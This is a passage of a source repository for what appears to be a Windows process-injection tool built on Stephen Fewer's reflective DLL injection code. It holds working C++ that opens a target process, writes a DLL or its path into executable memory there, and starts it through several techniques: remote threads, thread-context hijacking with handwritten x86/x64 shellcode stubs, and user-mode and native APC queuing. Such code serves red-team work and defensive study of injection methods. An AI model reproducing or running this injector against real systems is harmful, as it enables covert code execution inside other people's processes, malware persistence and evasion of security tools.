| hToken = nullptr; 193 | } 194 | 195 | HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); 196 | if (!hProcess) 197 | { 198 | GOTO_CLEANUP_WITH_ERROR("Failed to open the target process"); 199 | } 200 | 201 | BOOL myWow64 = false; 202 | ::IsWow64Process(::GetCurrentProcess(), &myWow64); 203 | 204 | BOOL targetWow64 = false; 205 | ::IsWow64Process(hProcess, &targetWow64); 206 | 207 | if (myWow64 != targetWow64) 208 | { 209 | printf("[-] Bitness mismatch: Use 32-bit inject tool for 32-bit targets and 64-bit inject tool for 64-bit targets."); 210 | goto cleanup; 211 | } 212 | 213 | switch (loaderType) 214 | { 215 | case kReflectiveLoader: 216 | if (!LoadRemoteLibraryR(hProcess, dllFile, injectType, nullptr)) 217 | { 218 | GOTO_CLEANUP_WITH_ERROR("Failed to inject the DLL"); 219 | } 220 | break; 221 | 222 | case kLoadLibraryW: 223 | if (!LoadRemoteLibrary(hProcess, CA2W(dllFile), injectType)) 224 | { 225 | GOTO_CLEANUP_WITH_ERROR("Failed to inject the DLL"); 226 | } 227 | break; 228 | 229 | case kLoadLibraryA: 230 | if (!LoadRemoteLibrary(hProcess, dllFile, injectType)) 231 | { 232 | GOTO_CLEANUP_WITH_ERROR("Failed to inject the DLL"); 233 | } 234 | break; 235 | 236 | default: 237 | break; 238 | } 239 | 240 | printf("[+] Injected the '%s' DLL into process %d.\n", dllFile, processId); 241 | 242 | cleanup: 243 | if (hProcess) 244 | { 245 | ::CloseHandle(hProcess); 246 | } 247 | 248 | return 0; 249 | } -------------------------------------------------------------------------------- /inject/src/InjectType.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | enum InjectType 4 | { 5 | kCreateRemoteThread, 6 | kChangeThreadEntryPoint, 7 | kSetThreadContext, 8 | kQueueUserAPC, 9 | kNtQueueApcThread, 10 | kNtQueueApcThreadEx 11 | }; 12 | 13 | inline const char* InjectTypeToString(InjectType injectType) 14 | { 15 | switch (injectType) 16 | { 17 | case kCreateRemoteThread: 18 | return "CreateRemoteThread"; 19 | 20 | case kChangeThreadEntryPoint: 21 | return "ChangeThreadEntryPoint"; 22 | 23 | case kSetThreadContext: 24 | return "SetThreadContext"; 25 | 26 | case kQueueUserAPC: 27 | return "QueueUserAPC"; 28 | 29 | case kNtQueueApcThread: 30 | return "NtQueueApcThread"; 31 | 32 | case kNtQueueApcThreadEx: 33 | return "NtQueueApcThreadEx"; 34 | 35 | default: 36 | return "Unknown!"; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | using namespace std; 36 | using namespace ATL; 37 | 38 | //===============================================================================================// 39 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) 40 | { 41 | WORD wIndex = 0; 42 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 43 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 44 | 45 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 46 | 47 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 48 | 49 | if( dwRva < pSectionHeader[0].PointerToRawData ) 50 | return dwRva; 51 | 52 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 53 | { 54 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 55 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 56 | } 57 | 58 | return 0; 59 | } 60 | //===============================================================================================// 61 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) 62 | { 63 | UINT_PTR uiBaseAddress = 0; 64 | UINT_PTR uiExportDir = 0; 65 | UINT_PTR uiNameArray = 0; 66 | UINT_PTR uiAddressArray = 0; 67 | UINT_PTR uiNameOrdinals = 0; 68 | DWORD dwCounter = 0; 69 | #if _M_X64 70 | DWORD dwCompiledArch = 2; 71 | #else 72 | // This will catch Win32 and WinRT. 73 | DWORD dwCompiledArch = 1; 74 | #endif 75 | 76 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 77 | 78 | // get the File Offset of the modules NT Header 79 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 80 | 81 | // currenlty we can only process a PE file which is the same type as the one this fuction has 82 | // been compiled as, due to various offset in the PE structures being defined at compile time. 83 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 84 | { 85 | if( dwCompiledArch != 1 ) 86 | return 0; 87 | } 88 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 89 | { 90 | if( dwCompiledArch != 2 ) 91 | return 0; 92 | } 93 | else 94 | { 95 | return 0; 96 | } 97 | 98 | // uiNameArray = the address of the modules export directory entry 99 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 100 | 101 | // get the File Offset of the export directory 102 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 103 | 104 | // get the File Offset for the array of name pointers 105 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 106 | 107 | // get the File Offset for the array of addresses 108 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 109 | 110 | // get the File Offset for the array of name ordinals 111 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 112 | 113 | // get a counter for the number of exported functions... 114 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 115 | 116 | // loop through all the exported functions to find the ReflectiveLoader 117 | while( dwCounter-- ) 118 | { 119 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); 120 | 121 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) 122 | { 123 | // get the File Offset for the array of addresses 124 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 125 | 126 | // use the functions name ordinal as an index into the array of name pointers 127 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 128 | 129 | // return the File Offset to the ReflectiveLoader() functions code... 130 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); 131 | } 132 | // get the next exported function name 133 | uiNameArray += sizeof(DWORD); 134 | 135 | // get the next exported function name ordinal 136 | uiNameOrdinals += sizeof(WORD); 137 | } 138 | 139 | return 0; 140 | } 141 | 142 | bool InjectUsingChangeThreadEntryPoint(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, LPVOID parameter) 143 | { 144 | auto fakeStart = reinterpret_cast(&ExitThread); 145 | CHandle remoteThread(::CreateRemoteThread(process, nullptr, 0, fakeStart, parameter, CREATE_SUSPENDED, nullptr)); 146 | 147 | if (!remoteThread) 148 | { 149 | printf("\nError: Unable to create remote thread %d\n", GetLastError()); 150 | return false; 151 | } 152 | 153 | CONTEXT ctx = {}; 154 | ctx.ContextFlags = CONTEXT_FULL; 155 | 156 | if (!::GetThreadContext(remoteThread, &ctx)) 157 | { 158 | printf("\n Error: GetThreadContext failed %d\n", GetLastError()); 159 | return false; 160 | } 161 | #ifdef _M_IX86 162 | ctx.Eax = reinterpret_cast(startRoutine); 163 | #else 164 | ctx.Rcx = reinterpret_cast(startRoutine); 165 | #endif 166 | if (!::SetThreadContext(remoteThread, &ctx)) 167 | { 168 | printf("\nError: Unable to hijack target thread (%d)\n", GetLastError()); 169 | return false; 170 | } 171 | 172 | ResumeThread(remoteThread); 173 | 174 | return true; 175 | } 176 | 177 | bool InjectUsingCreateRemoteThread(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, LPVOID parameter) 178 | { 179 | CHandle remoteThread(::CreateRemoteThread(process, nullptr, 0x100000, startRoutine, parameter, 0, nullptr)); 180 | 181 | return !!remoteThread; 182 | } 183 | 184 | const byte kShell[] = 185 | #if _M_X64 186 | { 187 | 0x90, 188 | 0x50, // push rax 189 | 0x50, // push rax 190 | 0x53, // push rbx 191 | 0x51, // push rcx 192 | 0x52, // push rdx 193 | 0x55, // push rbp 194 | 0x56, // push rsi 195 | 0x57, // push rdi 196 | 0x54, // push rsp 197 | 0x41, 0x50, // push r8 198 | 0x41, 0x51, // push r9 199 | 0x41, 0x52, // push r10 200 | 0x41, 0x53, // push r11 201 | 0x41, 0x54, // push r12 202 | 0x41, 0x55, // push r13 203 | 0x41, 0x56, // push r14 204 | 0x41, 0x57, // push r15 205 | 0x90,//0x9C, // pushfq 206 | 0x48, 0xB8, 0,0,0,0,0,0,0,0, // mov rax,1122334455667788h RIP 207 | 0x48, 0x89, 0x84, 0x24, 0x80 /*0x88*/, 0x00, 0x00, 0x00, // mov qword ptr[rsp + 88h],rax 208 | 0x48, 0xB8, 0,0,0,0,0,0,0,0, // mov rax,1122334455667788h ARG 209 | 0x48, 0x8B, 0xC8, // mov rcx,rax 210 | 0x48, 0xB8, 0,0,0,0,0,0,0,0, // mov rax,1122334455667788h FUNC 211 | 212 | 0x41, 0x57, // push r15 213 | 0x41, 0x57, // push r15 214 | 0x41, 0x57, // push r15 215 | 0x41, 0x57, // push r15 216 | 217 | 0xFF, 0xD0, // call rax 218 | 219 | 0x41, 0x5F, // pop r15 220 | 0x41, 0x5F, // pop r15 221 | 0x41, 0x5F, // pop r15 222 | 0x41, 0x5F, // pop r15 223 | 224 | 0x41, 0x5F, // pop r15 225 | 0x41, 0x5E, // pop r14 226 | 0x41, 0x5D, // pop r13 227 | 0x41, 0x5C, // pop r12 228 | 0x41, 0x5B, // pop r11 229 | 0x41, 0x5A, // pop r10 230 | 0x41, 0x59, // pop r9 231 | 0x41, 0x58, // pop r8 232 | 0x5C, // pop rsp 233 | 0x5F, // pop rdi 234 | 0x5E, // pop rsi 235 | 0x5D, // pop rbp 236 | 0x5A, // pop rdx 237 | 0x59, // pop rcx 238 | 0x5B, // pop rbx 239 | 0x58, // pop rax 240 | 0x90,//0x9D, // popfq 241 | 0xC3, // ret 242 | }; 243 | #elif _M_IX86 244 | { 245 | 0x90, 246 | 0x50, //push eax 247 | 0x60, //pushad 248 | 0x9C, //pushfd 249 | 0xB8, 0, 0, 0, 0, //mov eax,11223344h 250 | 0x89, 0x44, 0x24, 0x24, //mov dword ptr[esp + 24h],eax 251 | 0xB8, 0, 0, 0, 0, //mov eax,11223344h 252 | 0x50, //push eax 253 | 0xB8, 0, 0, 0, 0, //mov eax,11223344h 254 | 0xFF, 0xD0, //call eax 255 | 0x9D, //popfd 256 | 0x61, //popad 257 | 0xC3, //ret 258 | 0xcc 259 | }; 260 | #endif 261 | 262 | bool InjectUsingSetThreadContext(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, PVOID parameter) 263 | { 264 | // Create suspended thread to hijack it. 265 | CHandle remoteThread(::CreateRemoteThread(process, nullptr, 0, reinterpret_cast(&ExitThread), 0, CREATE_SUSPENDED, nullptr)); 266 | 267 | if (!remoteThread) 268 | { 269 | return false; 270 | } 271 | 272 | CONTEXT ctx = {}; 273 | ctx.ContextFlags = CONTEXT_FULL; 274 | 275 | if (!::GetThreadContext(remoteThread, &ctx)) 276 | { 277 | printf("\n Error: GetThreadContext failed %d\n", GetLastError()); 278 | return false; 279 | } 280 | 281 | byte shell[sizeof(kShell)]; 282 | memcpy(shell, kShell, sizeof(kShell)); 283 | 284 | #if _M_IX86 285 | *reinterpret_cast(&shell[5]) = ctx.Eip; 286 | *reinterpret_cast(&shell[14]) = reinterpret_cast(parameter); 287 | *reinterpret_cast(&shell[20]) = reinterpret_cast(startRoutine); 288 | #elif _M_X64 289 | *reinterpret_cast(&shell[29]) = ctx.Rip; 290 | *reinterpret_cast(&shell[47]) = reinterpret_cast(parameter); 291 | *reinterpret_cast(&shell[60]) = reinterpret_cast(startRoutine); 292 | #endif 293 | 294 | auto mem = ::VirtualAllocEx(process, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 295 | if (!mem) 296 | { 297 | printf("\nError: Unable to allocate memory in target process (%d)", GetLastError()); 298 | return false; 299 | } 300 | 301 | if (!::WriteProcessMemory(process, mem, shell, sizeof(shell), nullptr)) 302 | { 303 | return false; 304 | } 305 | 306 | #if _M_X64 307 | ctx.Rip = reinterpret_cast(mem); 308 | #elif _M_IX86 309 | ctx.Eip = reinterpret_cast(mem); 310 | #endif 311 | 312 | if (!::SetThreadContext(remoteThread, &ctx)) 313 | { 314 | printf("\nError: Unable to hijack target thread (%d)\n", GetLastError()); 315 | return false; 316 | } 317 | 318 | ::ResumeThread(remoteThread); 319 | return true; 320 | } 321 | 322 | bool InjectUsingAPC(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, PVOID parameter, function func) 323 | { 324 | // Create suspended thread to force APC delivery. 325 | CHandle remoteThread(::CreateRemoteThread(process, nullptr, 0, reinterpret_cast(&ExitThread), 0, CREATE_SUSPENDED, nullptr)); 326 | 327 | if (!remoteThread) 328 | { 329 | return false; 330 | } 331 | 332 | // Inject APC into created thread. 333 | if (!func(reinterpret_cast(startRoutine), remoteThread, reinterpret_cast(parameter))) 334 | { 335 | printf("\nError: Unable to hijack target thread (%d)\n", GetLastError()); 336 | return false; 337 | } 338 | 339 | ::ResumeThread(remoteThread); 340 | 341 | return true; 342 | } 343 | 344 | bool InjectUsingQueueUserAPC(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, PVOID parameter) 345 | { 346 | return InjectUsingAPC(process, startRoutine, parameter, [](PAPCFUNC startRoutine, HANDLE thread, ULONG_PTR parameter) 347 | { 348 | return !!::QueueUserAPC(startRoutine, thread, parameter); 349 | }); 350 | } 351 | 352 | bool InjectUsingNtQueueApcThread(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, PVOID parameter) 353 | { 354 | typedef LONG (NTAPI *PFN_NtQueueApcThread)( 355 | IN HANDLE ThreadHandle, 356 | IN PVOID ApcRoutine, 357 | IN PVOID NormalContext, 358 | IN PVOID SystemArgument1, 359 | IN PVOID SystemArgument2); 360 | 361 | static auto myNtQueueApcThread = reinterpret_cast(::GetProcAddress(::GetModuleHandle("ntdll"), "NtQueueApcThread")); 362 | 363 | return InjectUsingAPC(process, startRoutine, parameter, [&](PAPCFUNC startRoutine, HANDLE thread, ULONG_PTR parameter) 364 | { 365 | return 0 == myNtQueueApcThread(thread, startRoutine, reinterpret_cast(parameter), nullptr, nullptr); 366 | }); 367 | } 368 | 369 | bool InjectUsingNtQueueApcThreadEx(HANDLE process, LPTHREAD_START_ROUTINE startRoutine, PVOID parameter) 370 | { 371 | typedef LONG (NTAPI *PFN_NtQueueApcThreadEx)( 372 | IN HANDLE ThreadHandle, 373 | IN HANDLE ApcReserve, 374 | IN PVOID ApcRoutine, 375 | IN PVOID NormalContext, 376 | IN PVOID SystemArgument1, 377 | IN PVOID SystemArgument2); 378 | 379 | static auto myNtQueueApcThreadEx = reinterpret_cast(::GetProcAddress(::GetModuleHandle("ntdll"), "NtQueueApcThreadEx")); 380 | 381 | return InjectUsingAPC(process, startRoutine, parameter, [&](PAPCFUNC startRoutine, HANDLE thread, ULONG_PTR parameter) 382 | { 383 | return 0 == myNtQueueApcThreadEx(thread, nullptr, startRoutine, reinterpret_cast(parameter), nullptr, nullptr); 384 | }); 385 | } 386 | 387 | BOOL WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPCSTR dllName, InjectType injectType, LPVOID lpParameter) 388 | { 389 | if (!hProcess) 390 | { 391 | return FALSE; 392 | } 393 | 394 | HANDLE hFile = ::CreateFileA(dllName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 395 | if (hFile == INVALID_HANDLE_VALUE) 396 | { 397 | GOTO_CLEANUP_WITH_ERROR("Failed to open the DLL file"); 398 | } 399 | 400 | auto dwLength = ::GetFileSize(hFile, NULL); 401 | if (dwLength == INVALID_FILE_SIZE || dwLength == 0) 402 | { 403 | GOTO_CLEANUP_WITH_ERROR("Failed to get the DLL file size"); 404 | } 405 | 406 | auto lpBuffer = ::HeapAlloc(::GetProcessHeap(), 0, dwLength); 407 | if (!lpBuffer) 408 | { 409 | GOTO_CLEANUP_WITH_ERROR("Failed to get the DLL file size"); 410 | } 411 | 412 | DWORD dwBytesRead = 0; 413 | if (::ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) 414 | { 415 | GOTO_CLEANUP_WITH_ERROR("Failed to alloc a buffer!"); 416 | } 417 | 418 | // check if the library has a ReflectiveLoader... 419 | DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); 420 | if (!dwReflectiveLoaderOffset) 421 | { 422 | return FALSE; 423 | } 424 | 425 | // alloc memory (RWX) in the host process for the image... 426 | LPVOID remoteLibraryBuffer = ::VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); 427 | if (!remoteLibraryBuffer) 428 | { 429 | return FALSE; 430 | } 431 | 432 | // write the image into the host process... 433 | if (!::WriteProcessMemory(hProcess, remoteLibraryBuffer, lpBuffer, dwLength, NULL)) 434 | { 435 | return FALSE; 436 | } 437 | 438 | // add the offset to ReflectiveLoader() to the remote library address... 439 | auto reflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remoteLibraryBuffer + dwReflectiveLoaderOffset); 440 | 441 | switch (injectType) 442 | { 443 | case kCreateRemoteThread: 444 | return InjectUsingCreateRemoteThread(hProcess, reflectiveLoader, lpParameter); 445 | 446 | case kChangeThreadEntryPoint: 447 | return InjectUsingChangeThreadEntryPoint(hProcess, reflectiveLoader, lpParameter); 448 | 449 | case kSetThreadContext: 450 | return InjectUsingSetThreadContext(hProcess, reflectiveLoader, lpParameter); 451 | 452 | case kQueueUserAPC: 453 | return InjectUsingQueueUserAPC(hProcess, reflectiveLoader, lpParameter); 454 | 455 | case kNtQueueApcThread: 456 | return InjectUsingNtQueueApcThread(hProcess, reflectiveLoader, lpParameter); 457 | 458 | case kNtQueueApcThreadEx: 459 | return InjectUsingNtQueueApcThreadEx(hProcess, reflectiveLoader, lpParameter); 460 | } 461 | 462 | cleanup: 463 | return FALSE; 464 | } 465 | 466 | template 467 | bool LoadRemoteLibrary(HANDLE hProcess, const basic_string& dllName, InjectType injectType) 468 | { 469 | auto loadLibrary = sizeof(CharT) == sizeof(char) ? reinterpret_cast(&LoadLibraryA) : reinterpret_cast(&LoadLibraryW); 470 | 471 | // alloc memory (RW) in the host process for the dll name... 472 | LPVOID remoteDllName = ::VirtualAllocEx(hProcess, nullptr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 473 | if (!remoteDllName) 474 | { 475 | return FALSE; 476 | } 477 | 478 | // write the dll name into the host process... 479 | if (!::WriteProcessMemory(hProcess, remoteDllName, dllName.c_str(), (dllName.size() + 1) * sizeof(CharT), nullptr)) 480 | { 481 | return FALSE; 482 | } 483 | 484 | switch (injectType) 485 | { 486 | case kCreateRemoteThread: 487 | return InjectUsingCreateRemoteThread(hProcess, loadLibrary, remoteDllName); 488 | 489 | case kChangeThreadEntryPoint: 490 | return InjectUsingChangeThreadEntryPoint(hProcess, loadLibrary, remoteDllName); 491 | 492 | case kSetThreadContext: 493 | return InjectUsingSetThreadContext(hProcess, loadLibrary, remoteDllName); 494 | 495 | case kQueueUserAPC: 496 | return InjectUsingQueueUserAPC(hProcess, loadLibrary, remoteDllName); 497 | 498 | case kNtQueueApcThread: 499 | return InjectUsingNtQueueApcThread(hProcess, loadLibrary, remoteDllName); 500 | 501 | case kNtQueueApcThreadEx: 502 | return InjectUsingNtQueueApcThreadEx(hProcess, loadLibrary, remoteDllName); 503 | 504 | default: 505 | GOTO_CLEANUP_WITH_ERROR("Not supported"); 506 | } 507 | 508 | cleanup: 509 | return FALSE; 510 | } 511 | 512 | bool LoadRemoteLibrary(HANDLE hProcess, LPCWSTR dllName, InjectType injectType) 513 | { 514 | return LoadRemoteLibrary(hProcess, wstring(dllName), injectType); 515 | } 516 | 517 | bool LoadRemoteLibrary(HANDLE hProcess, LPCSTR dllName, InjectType injectType) 518 | { 519 | return LoadRemoteLibrary(hProcess, string(dllName), injectType); 520 | } 521 | //===============================================================================================// 522 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #pragma once 29 | #include "ReflectiveDLLInjection.h" 30 | #include "InjectType.h" 31 | #include "LoaderType.h" 32 | 33 | BOOL WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPCSTR dllName, InjectType injectType, LPVOID lpParameter); 34 | 35 | bool LoadRemoteLibrary(HANDLE hProcess, LPCWSTR dllName, InjectType injectType); 36 | bool LoadRemoteLibrary(HANDLE hProcess, LPCSTR dllName, InjectType injectType); 37 | -------------------------------------------------------------------------------- /inject/src/LoaderType.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | enum LoaderType 4 | { 5 | kReflectiveLoader, 6 | kLoadLibraryW, 7 | kLoadLibraryA 8 | }; 9 | 10 | inline const char* LoaderTypeToString(LoaderType loaderType) 11 | { 12 | switch (loaderType) 13 | { 14 | case kReflectiveLoader: 15 | return "ReflectiveLoader"; 16 | 17 | case kLoadLibraryW: 18 | return "LoadLibraryW"; 19 | 20 | case kLoadLibraryA: 21 | return "LoadLibraryA"; 22 | 23 | default: 24 | return "Unknown!"; 25 | } 26 | } -------------------------------------------------------------------------------- /inject/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_METASPLOIT_ATTACH 4 37 | #define DLL_METASPLOIT_DETACH 5 38 | #define DLL_QUERY_HMODULE 6 39 | 40 | #define DEREF( name )*(UINT_PTR *)(name) 41 | #define DEREF_64( name )*(DWORD64 *)(name) 42 | #define DEREF_32( name )*(DWORD *)(name) 43 | #define DEREF_16( name )*(WORD *)(name) 44 | #define DEREF_8( name )*(BYTE *)(name) 45 | 46 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 47 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 48 | 49 | #define DLLEXPORT __declspec( dllexport ) 50 | 51 | #define GOTO_CLEANUP_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); goto cleanup; } 52 | 53 | //===============================================================================================// 54 | #endif 55 | //===============================================================================================// 56 | -------------------------------------------------------------------------------- /rdi.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.24720.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Win32 = Debug|Win32 